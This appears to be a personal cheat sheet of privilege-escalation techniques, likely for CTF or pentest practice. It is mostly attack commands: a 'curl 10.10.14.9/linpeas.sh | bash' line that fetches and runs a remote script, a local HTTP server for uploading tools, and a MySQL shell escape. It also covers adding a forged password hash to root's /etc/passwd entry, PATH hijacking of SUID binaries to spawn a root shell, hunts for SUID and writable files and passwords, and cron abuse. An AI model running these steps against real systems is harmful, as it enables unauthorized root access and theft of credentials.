Privilege Escalation

Linux PE :
https://github.com/frizb/Linux-Privilege-Escalation
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
hackingarticles.in/linux-privilege-escalation-using-path-variable/

Windows PE :
http://www.fuzzysecurity.com/tutorials/16.html

GTFO Bins : curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.
https://gtfobins.github.io/

Enumerations scripts :

LinEnum.sh
Linuxprivchecker.py
Unixprivsec.sh
linpeas.sh
curl 10.10.14.9/linpeas.sh | bash

Upload them with
python -m SimpleHTTPServer
Wget -r <your ip>:8000

Check sudoer

sudo -l
sudo -i

Check Running processes

ps -aux | grep root
pspy

Mysql

mysql -u root -p
Inside mysql to get shell
\! /bin/sh

cat /etc/passwd
Finding users and perhaps encrypted passwords

Openssl passwd ahmed
# generates an encrypted password
Add password to roots section instead of the x

Find files that has stickybit

find -perm 4000 2> /dev/null
find / -perm -u=s -type f 2>/dev/null

Spawning root shell from suid files

Using echo

```
cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/raj/script
./shell
whoami
```

Using copy

```
cd /home/raj/script/
cp /bin/sh /tmp/ps
echo $PATH
export PATH=/tmp:$PATH
./shell
whoami
```

Using symlink

```
ln -s /bin/sh ps
export PATH=.:$PATH
./shell
id
whoami
```

https://payatu.com/guide-linux-privilege-escalation

ls -LAR

Kernel Exploit

```
uname -a
cat /etc/version/
cat /proc/version
which <<command>> --> to check if the command exists
```

Sensitive data

config(txt) as db.php
use grep,find,search in finding the names of those files

```
find / -perm 777 --> find all file have 777 on it
find / -perm -g=s -type f 2>/dev/null --> find file with group has a sticky bit on it
find / -perm -u=s -type f 2>/dev/null
grep -rnw '/path/to/somewhere' -e 'pass*'
find . -perm /4000
find / -writable -type d 2>/dev/null  --> find the writtable directories
```

Crontab

-an automated task any service or user use it so i can change it and do whatever i want
-ls /*/*/   --> open all directoris inside and what has inside

Local Services

internal process and ports open --> some services can be internally or locally i can see them only by accessing the machine or the server
netstat --> by it i can show ports and services and ips run on the machine
netstat -tupan --> change the output and shoia the ports and ips listen internally

ps -ef | grep -i root --> i can use this to find a the process run by root with the user i have

//port 3306 --> default mysql service